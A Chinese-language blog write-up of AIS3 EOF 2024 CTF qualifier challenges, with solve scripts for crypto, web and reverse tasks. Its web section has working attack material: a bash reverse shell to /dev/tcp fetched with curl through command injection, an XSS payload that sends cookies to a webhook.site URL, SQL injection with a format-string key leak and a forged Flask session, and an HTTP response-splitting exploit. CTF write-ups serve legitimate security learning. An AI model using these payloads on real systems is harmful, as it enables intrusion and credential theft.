Cavern.sigma
Welcome to Cavern.sigma
[TOC] ## 成績 ![Score](https://img.stoneapp.tech/t510599/eof-2024/quals/Score.png) 看[完整 Profile](https://img.stoneapp.tech/t510599/eof-2024/quals/Profile.png) 很長的 [ScoreBoard](https://img.stoneapp.tech/t510599/eof-2024/quals/Scoreboard.png) <style> p:has(img) { text-align: center; } </style> ## 前言 今年改成單人打 Quals -> 晉級後組隊的形式 題目號稱有簡單一點 (?) 沒有 Misc 我好難過 :( ## Misc ### Welcome 加入 [AIS3 EOF Discord](https://discord.gg/WdpawhNbpD) 並進到 2024-QUAL > `#annoucement` 頻道 可以看到含有 Welcome Flag 的訊息 ![image](https://hackmd.io/_uploads/rJ37zKj_p.png) 透過滑鼠游標將訊息中的 Flag 反白選取 並透過鍵盤快速鍵 `Ctrl+C` 複製 ![image](https://hackmd.io/_uploads/HJOkQtod6.png) 再透過 `Ctrl+V` 貼上到 Flag 輸入框 送出即可獲得分數 Flag: `AIS3{W3lc0mE_T0_A1S5s_EOF_2o24}` ## Crypto ### Baby AES `c1`、`c2`、`c3` 都是 32 bytes (2 block) 長 可以將其切分為 **h**igh + **l**ow 令 `e` 為 `AES_enc` | output | high | low | | --- | --- | --- | | c1_CFB | e(iv) $$\oplus$$ c1_h | e(e(iv) $$\oplus$$ c1_h) $$\oplus$$ c1l | | c2_OFB | e(iv+1) $$\oplus$$ c2h | e(e(iv+1)) $$\oplus$$ c2l | | c3_CTR | e(iv+2) $$\oplus$$ c3h | e(iv+3) $$\oplus$$ c3_h | 只要找到 `e(iv+i)` (i = 0 ~ 3) 就能將 flag = c3 $$\oplus$$ c2 $$\oplus$$ c1 找回來 雖然每次加密前 `iv` 會 +1 但是可以預測 只要能先拿到 `e(iv+i)` 就可透過 CFB 將想要加密的東西送進去加密 透過 null byte XOR 後直接是 `AES_enc` 輸出 流程如下 假設已有 `e(iv+4)` 可以藉此回復 `e(iv)` 與 `e(e(iv))` ![image](https://hackmd.io/_uploads/HyeWlC0dT.png) 輸入為 iv $$\oplus$$ e(iv + 4) + 0x00 * 16 + 0x00 * 16 而要先知道加密的 iv 可以用 CTR 來 leak 第一次問 plaintext 時所用 iv 是 iv+3 輸入五個 null byte block 就能拿到 e(iv+i) (i = 3 ~ 7) `solve.py` ```python host, port = "chal1.eof.ais3.org", 10003 r = remote(host, port) def query(mode, pt): r.recvuntil(b"? ") r.sendline(mode) r.recvuntil(b"? ") r.sendline(pt) return b64d(eval(r.recvline().decode().strip().split(" ")[1])) r.recvuntil(b": ") c1_cfb = tuple(map(b64d, eval(r.recvline().strip()))) r.recvuntil(b": ") c2_ofb = tuple(map(b64d, eval(r.recvline().strip()))) r.recvuntil(b": ") c3_ctr = tuple(map(b64d, eval(r.recvline().strip()))) aes_ivs = [] payload = query(b"CTR", b64e(b"\x00" * 16 * 5)) for i in range(0, len(payload), 16): aes_ivs.append(payload[i:i+16]) # iv+4 aes_iv = query(b"CFB", b64e(XOR(aes_ivs[1], c1_cfb[0]) + b"\x00" * 16))[16:] # iv+5 aes_aes_iv_c1h = query( b"CFB", b64e(XOR(aes_ivs[2], c1_cfb[1][:16]) + b"\x00" * 16) )[16:] # iv+6 payload = query( b"CFB", b64e(XOR(aes_ivs[3], c2_ofb[0]) + b"\x00" * 16 + b"\x00" * 16) )[16:] aes_iv_1 = payload[:16] aes_aes_iv_1 = payload[16:] # iv+7 aes_iv_2 = query(b"CFB", b64e(XOR(aes_ivs[4], c3_ctr[0]) + b"\x00" * 16))[16:] c1h, c1l = XOR(aes_iv, c1_cfb[1][:16]), XOR(aes_aes_iv_c1h, c1_cfb[1][16:]) c1 = c1h + c1l c2h, c2l = XOR(aes_iv_1, c2_ofb[1][:16]), XOR(aes_aes_iv_1, c2_ofb[1][16:]) c2 = c2h + c2l c3h, c3l = XOR(aes_iv_2, c3_ctr[1][:16]), XOR(aes_ivs[0], c3_ctr[1][16:]) # iv+3 c3 = c3h + c3l flag = XOR(XOR(c1, c2), c3) print(flag.decode()) ``` Flag: `AIS3{_BL0ck_C1PHER_M0de_Ma$7Er_}` ### Baby Side Channel Attack 打開 `trace.txt` ![image](https://hackmd.io/_uploads/Bkh6th0dp.png) 可以透過是否呼叫 `r = r * a % c` 來一個一個 bit 回推 $$d$$ 此時沒有 $$n$$ 但題目另外給了 $$ed = e^d \pmod n$$ 跟 $$de = d^e \pmod n$$ 可以推論 $$e^d = k_1 n + ed$$, $$d^e = k_2 n + de$$ 因此 $$e^d - ed = k_1 n$$, $$d^e - de = k_2 n$$ 解 gcd 就能找到 $$n$$ 的倍數 再爆搜一下 $$n$$ 即可 由於 $$d$$ 太大 $$e^d$$ 算不出來 此時發現 $$(e^d)^e \equiv e \pmod n$$ 可以另外算 $$(ed)^e - e = k_3 n$$ 用此解 gcd `solve.sage` ```python d = int("".join(bits[::-1]), 2) # bits are parsed from trace.txt a = ed ** e b = d ** e n = gcd(a - e, b - de) for k in range(1, 2 ** (n.bit_length() - 2047 + 1)): if n % k == 0: flag = long_to_bytes(pow(c, d, n // k)) if b"AIS3" in flag: print(k, flag.decode()) break ``` Flag: `AIS3{SID3_chaNn3l_i5_ea$Y_Wh3n_Th3_Data_le4KagE_Is_EXAc7}` ### Baby RSA `e = 3` 而且可以多次連線拿到不同 $$n$$ 直接砸 broadcast attack CRT 解 $$\text{flag}^e \pmod{n_1 n_2 n_3}$$ 再直接開三方就是 flag ```python from sage.all import crt host, port = 'chal1.eof.ais3.org', 10002 def get_flag(): r = remote(host, port) n = int(r.recvline().decode().split(', ')[0].split('=')[1]) c = int(r.recvline().decode().split(' ')[1]) return n, c def hastad_broadcast(ns, cs): assert len(ns) == len(cs) x = crt(cs, ns) try: return x.nth_root(len(ns)) except: pass n1, c1 = get_flag() n2, c2 = get_flag() n3, c3 = get_flag() print(long_to_bytes(hastad_broadcast([n1, n2, n3], [c1, c2, c3]))) ``` Flag: `AIS3{c0PPEr5MI7HS_5H0r7_paD_a7T4CK}` ## Web ### DNS Lookup Tool: Final `index.php` ```php=38 $blacklist = ['|', '&', ';', '>', '<', "\n", 'flag', '*', '?']; $is_input_safe = true; foreach ($blacklist as $bad_word) if (strstr($_POST['name'], $bad_word) !== false) $is_input_safe = false; if ($is_input_safe) { $retcode = 0; $output = []; exec("host {$_POST['name']}", $output, $retcode); ``` 觀察程式碼 可以看到有明顯 cmdi 的洞 但是有黑名單 如 `&`、`;`、`|` 等 無法做指令串接 但可用 `$( )` substitution 來注入指令 簡單寫個 reverse shell ```bash #!/bin/bash bash -i >& /dev/tcp/<server>/40005 0>&1 ``` 雖不能 pipe 到 bash 但可以透過 `curl <url> -o <fn>`下載 payload ![get-shell](https://hackmd.io/_uploads/Bypay5idp.png) 最後呼叫載下來的 reverse shell 即可 ![solve](https://hackmd.io/_uploads/rkMAyqi_p.png) Flag: `AIS3{JUST_3@5Y_comManD_INj3c71ON}` ### Internal 題目中有兩個檔案 分別是一個 python 的 `ThreadingHTTPServer` 與 nginx config `server.py` ```python=12 URL_REGEX = re.compile(r"https?://[a-zA-Z0-9.]+(/[a-zA-Z0-9./?#]*)?") class RequestHandler(BaseHTTPRequestHandler): def do_GET(self): if self.path == "/flag": self.send_response(200) self.end_headers() self.wfile.write(FLAG.encode()) return query = parse_qs(urlparse(self.path).query) redir = None if "redir" in query: redir = query["redir"][0] if not URL_REGEX.match(redir): redir = None self.send_response(302 if redir else 200) if redir: self.send_header("Location", redir) self.end_headers() self.wfile.write(b"Hello world!") ``` `default.conf` ```nginx= server { listen 7778; listen [::]:7778; server_name localhost; location /flag { internal; proxy_pass http://web:7777; } location / { proxy_pass http://web:7777; } } ``` 從外網是先透過 nginx 再連到 python web server 存取 `/flag` 即有 flag 但 `/flag` 被 `internal` 限制只能從內網存取 查看 [Nginx ngx_http_core_module 文件](https://nginx.org/en/docs/http/ngx_http_core_module.html#internal): > Internal requests are the following: > - requests redirected by the error_page, index, internal_redirect, random_index, and try_files directives; > - requests redirected by the **“X-Accel-Redirect”** response header field from an upstream server; 另外看到 `Lib/http/server.py` ```python= def send_header(self, keyword, value): """Send a MIME header to the headers buffer.""" if self.request_version != 'HTTP/0.9': if not hasattr(self, '_headers_buffer'): self._headers_buffer = [] self._headers_buffer.append( ("%s: %s\r\n" % (keyword, value)).encode('latin-1', 'strict')) ``` `send_header` 不會過濾 `value` 可以傳入 `\r\n` 來加一個 HTTP Response Header 可透過此漏洞設定 `X-Accel-Redirect` 來讓 nginx 存取 `/flag` 並回傳 這是一種 [HTTP Response Splitting](https://owasp.org/www-community/attacks/HTTP_Response_Splitting) 攻擊 `exp.py` ```python import requests as r HOST = "10.105.0.21:11446" res = r.get(f"http://{HOST}/redir", params={ "redir": "http://localhost:7777/flag\r\nX-Accel-Redirect: /flag" }) print(res.text) ``` Flag: `AIS3{jU$T_s0Me_FUNNY_n9iNx_FEatuRE}` ### copypasta `app.py` ```python=82 @app.get("/use") def create(): id = request.args.get("id") tmpl = db().cursor().execute( f"SELECT * FROM copypasta_template WHERE id = {id}" ).fetchone() content = tmpl["template"] fields = dict.fromkeys(re.findall(r"{field\[([^}]+)\]}", content)) content = re.sub(r"{field\[([^}]+)\]}", r"{\1}", tmpl["template"]) return render_template("create.html", content=content, fields=fields, id=id) ``` 可以看到 L86 直接將 url param 塞進 SQL query 可以做 sqli 先透過以下 payload 拿到 flag 的 post id ```sql 4 union select 87,63,id from copypasta WHERE orig_id = 3 ``` 將 id 指定為不存在的 id (`4`) 此時就會從後面的 `union select` query 回傳結果 這裡讀取 `copypasta` 裡面 `orig_id=3` (flag) 的 row 為了讀到有 flag 的 post 要繞過下面 `session['posts']` 的權限驗證 ```python=119 @app.get("/view/<id>") def view(id): if id in session.get('posts', []): content = open(f"posts/{id}").read() else: content = "(permission denied)" return render_template("view.html", content=content) ``` 由於 Flask 的 session 是存在 cookie 中 (透過 `app.secret_key` 簽署) 只要 leak secret key 即可任意偽造 ```python=95 @app.post("/use") def create_post(): id = request.args.get("id") tmpl = db().cursor().execute( f"SELECT * FROM copypasta_template WHERE id = {id}" ).fetchone() content = tmpl["template"] res = content.format(field=request.form) ``` 另外看到 `create_post` 裡面是直接將整個 form 的 object 傳到 `content.format` `str.format` 的 template 雖不能 call function 但還是能讀屬性 而 content 又可用 union based sqli 控制 因此可以藉此來存取 `field` 的各種屬性 最後拿到 `app.secret_key` 目標是拿到 `sys.modules` 後面就可以到 `flask` 裡面找 `current_app` 上面就有 `secret_key` 參考 [ångstromCTF 2019 - Madlibbin](https://ctftime.org/writeup/14941) 得到以下 payload: ```! {field.__class__.__init__.__globals__[__builtins__][copyright].__class__._Printer__setup.__globals__[sys].modules[flask].current_app.secret_key} ``` 讓其作為 `template` (column 3) 回傳 最後有 `secret_key` 跟 `flag_id` 之後 就可以用 `SecureCookieSessionInterface` 自己造 session `exp.py` ```python import time from flask.sessions import SecureCookieSessionInterface import requests from bs4 import BeautifulSoup as Soup URL = "http://10.105.0.21:22120" s = requests.Session() s.get(URL) # get init cookie, or get_secret_key/get_flag_post_id would fail def get_secret_key(): res = s.post(f"{URL}/use", params={ "id": r'4 union select 87,63,"{field.__class__.__init__.__globals__[__builtins__][copyright].__class__._Printer__setup.__globals__[sys].modules[flask].current_app.secret_key}"' }) dom = Soup(res.text, "html.parser") return dom.select_one("article").text def get_flag_post_id(): res = s.get(f"{URL}/use", params={ "id": '4 union select 87,63,id from copypasta WHERE orig_id = 3' }) dom = Soup(res.text, "html.parser") return dom.select_one("pre").text def get_flag(post_id, cookie): res = requests.get(f"{URL}/view/{post_id}", cookies={"session": cookie}) dom = Soup(res.text, "html.parser") return dom.select_one("article").text flag_id = get_flag_post_id() secret_key = get_secret_key() class Config: def __init__(self, secret_key): self.secret_key = secret_key app = Config(secret_key) cookie = SecureCookieSessionInterface() \ .get_signing_serializer(app).dumps({ "posts": [flag_id] }) print(get_flag(flag_id, cookie)) ``` Flag: `AIS3{I_L0ve_pa$ta_anD_c0pyPasta}` ### HTML Debugger 此題會透過 url parameter `html` 來傳 HTML 並由後端 `encodeURIComponent` 後放到 ejs 模板中 最後透過 DOMPurify 設為某個 element 的 `innerHTML` `index.ejs` ```javascript=7 const unsanitized = decodeURIComponent("<%= html %>"); document.getElementById("html").innerHTML = DOMPurify.sanitize(unsanitized); ``` `bot.js` ```javascript=24 await page.setCookie({name: 'flag', value: FLAG, domain: DOMAIN}); await page.goto(url) await page.bringToFront() await sleep(3000) await page.click('#close_btn') ``` flag 是放在 cookie 中 但沒有 httponly 所以可以用 javascript 讀取 另外 bot 還會去戳 `#close_btn` `static/script.js` ```javascript=7 function preview_onclick(){ fetch("/preview", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ html: html_text.value }) }).then(res => res.json()).then(data => { html.innerHTML = data.html || res.text; form.style.display = "none"; preview.style.display = "block"; }) } ``` 另外觀察頁面上所載入的 js 裡面的 `preview_onclick` 會另外打 API 拿到 HTML 而且沒過濾就設到 innerHTML 另外在 data 的 callback 中用了 `res.text` 作為 fallback 但很明顯 `res` 並不在這個 function 的 scope 中 推測要從這邊控制 HTML 要控制可以透過 DOM Clobbering 來控制其內容 若要作為 string 回傳 可以控制 `a.href` 因為其 toString 就是用 `href` 的值 要蓋過 `res.text` 需要有兩個 id 都是 `res` 的 element 而其中一個的 name 設為 `text` 因 `window.res` 在有重複 id 的情況下 會回傳 `HTMLCollection` 並可用 name 來存取裡面的特定 element `#html_text` 也是相同道理 要讓其 value 是 undefined `data.html` 才會為空 用我們控制的 HTML `a.href` 必須要指定 protocol 不然會被當作 relative path 然後前面就被加上 origin 了 看 [DOMPurify src](https://github.com/cure53/DOMPurify/blob/main/src/regexp.js#L10C5-L10C55) 僅以下 proto `(?:(?:(?:f|ht)tps?|mailto|tel|callto|sms|cid|xmpp)` 可用 測試幾個 protocol 發現 `sms` 不會讓後面的 payload 被 url encode 另外要注意 `?` 也會害後面東西被 url encode 所以 escape 成 `\x3f` 此部分 payload 如下: ```html! <div id="res"></div><div id="html_text"></div> <a id="res" name="text" href="sms:<iframe srcdoc='<script>location.href=`https://webhook.site/5bd59cb6-4446-4594-8657-a6777edcf4cf/\x3ff=`+btoa(document.cookie)</script>'></iframe>"></a> ``` 但必須戳到 `#preview_btn` 才能觸發 `preview_onclick` 另外查看 `puppeteer-core/src/api/ElementHandle.ts` ```javascript=143 async click( this: ElementHandle<Element>, options: Readonly<ClickOptions> = {} ): Promise<void> { await this.scrollIntoViewIfNeeded(); const {x, y} = await this.clickablePoint(options.offset); await this.frame.page().mouse.click(x, y, options); } ``` 可以看到 `page.click` 其實是先 `querySelector` Element 之後再透過 `clickablePoint` 計算座標去點 此時可以控制 `#closn_btn` 的位置到 `#preview_btn` 後面 這樣當 bot 在試著戳 `#close_btn` 時 其實會戳到 `#preview_btn` 需插入 `<style></style>` 來控制其他元素樣式 但 DOMPurify 會將其過濾掉 參考 [maple writeup](https://blog.maple3142.net/2022/08/29/intigriti-0822-xss-challenge-writeup/#css-injection) 只要用 `a<style></style>` 就會通過 DOMPurify payload: ```html! a<style> #form{display: block !important;} #preview>button{display: none;} pre{padding: 0;} #html{height: 0; padding:0; overflow: hidden;} #html>#close_btn {position: absolute; right: 0; bottom: -3.5em; z-index: -1;} #form>:not(#buttons),#buttons>:not(#preview_btn){display: none;}</style> <button id="close_btn">Close</button> <div id="res"></div><div id="html_text"></div> <a id="res" name="text" href="sms:<iframe srcdoc='<script>location.href=`https://webhook.site/5bd59cb6-4446-4594-8657-a6777edcf4cf/\x3ff=`+btoa(document.cookie)</script>'></iframe>"></a> ``` ![exp](https://hackmd.io/_uploads/SyV4vOCOT.png) 按下 preview 後: ![result](https://hackmd.io/_uploads/B1VND_ROp.png) 可以看到 iframe 中已被 redirect 而 flag 已透過 url 打到我們的伺服器 Flag: `AIS3{chIPi_CH1p1_cHaP@_CHaP@_dUbi_Dubi_daB4_d4B4}` ## Reverse ### Flag Generator 經過逆向後 發現其有個 `writeFile` 函式會將解密後的 exe 傳到此 function 但裡面沒實際寫到 fs ![image](https://hackmd.io/_uploads/HJR8xmrdT.png) 用 IDA 下個 breakpoint 起來跑 ![image](https://hackmd.io/_uploads/HkDHgmHua.png) 檢查該位置開頭為 `MZ` 並將其 dump 出來 ```IDC auto fname = "C:\\dump_mem.bin"; auto address = <rdx>; auto size = 0x600; auto file= fopen(fname, "wb"); savefile(file, 0, address, size); fclose(file); ``` <!-- ![image](https://hackmd.io/_uploads/Hy7OkXH_p.png) --> 執行後得到 flag ![image](https://hackmd.io/_uploads/SymCkmrO6.png) Flag: `AIS3{US1ng_w1Nd0w5_IS_sucH_A_P@1N....}` ### Pixel Clicker ![image](https://hackmd.io/_uploads/S1KEzhROa.png) 逆向後可以發現其會在你按了一定次數之後 透過 `get_resource` 來拿出答案 後面再比對你按過的 pixel 直接下斷點在 `get_resource` 的 if 前 並直接改掉 register 值來進到 branch 裡面 ![image](https://hackmd.io/_uploads/B1vl3_U_6.png) 可以看到 rax 是 return value 看看 memory 上的值 ![image](https://hackmd.io/_uploads/SJRRs_U_a.png) 可以看到 `BM` 其為 BMP 的 signature 另外 `Block + 10` 其實就是 BMP Header offset 欄位 用 `savedata` 把他 dump 出來打開 ![image](https://hackmd.io/_uploads/Hk-Gm2CuT.png) Flag: `AIS3{juST_4_51MpLe_ClICkEr_9am3}` ### Stateful 程式進入後會經過一堆 state 每次 call 一個 `state_xxxx` 並改變 a, b 的值 下一個 state 透過 `next_state = state * a + b;` 計算 ![image](https://hackmd.io/_uploads/S1wRV3Rup.png) 每個 `state_xxxx` 裡面會從 `a1` (`input`) 拿兩個 index 的值相加 並且加/減到另一個 index 上 ![image](https://hackmd.io/_uploads/rJ-HBnA_p.png) 可以先 objdump 出來 按照 pattern 去 parse 他 ![image](https://hackmd.io/_uploads/B1PCHnCdT.png) 以上是 `a1[0xe] += a1[0x8] + a1[0x23]` 剩下一些不合 pattern (index 為 0 等) 的 再手動開 IDA 看 最後砸 z3 追蹤每個 input index 會跟哪些 index 作運算 因為有加上 index 0 跟減掉 index 0 的狀況 所以用 float (有 `0.0` `-0.0`) `solve.py` ```python # db: dict fn -> (dst, src1, src2, is_add) # table: dict state -> (fn, a, b) history = [] data = [[float(i)] for i in range(len(ans))] def apply(dst, src1, src2, is_add): if is_add: data[dst] += data[src1] + data[src2] else: data[dst] += list(map(lambda x: -x, data[src1] + data[src2])) while True: if state > bound: break try: fn, a, b = table[state] except: break history.append(state) apply(*db[fn]) state = (a * state + b) & 0xffffffff inp = [BitVec(f"inp_{i}", 8) for i in range(len(ans))] s = Solver() for i, l in enumerate(data): v = inp[i] for idx in l[1:]: if idx > 0: v = v + inp[int(idx)] elif idx < 0: v = v - inp[int(-idx)] else: if repr(idx) == "0.0": v = v + inp[0] elif repr(idx) == "-0.0": v = v - inp[0] s.add(v == ans[i]) result = s.check() if result == sat: m = s.model() print("".join(map(chr, [m[i].as_long() for i in inp]))) ``` Flag: `AIS3{@re_y0u_@_sTATEful_0R_ST4T3LeS5_ctf3r}`
2024-02-13 18:52:51
留言
Last fetch: --:-- 
現在還沒有留言!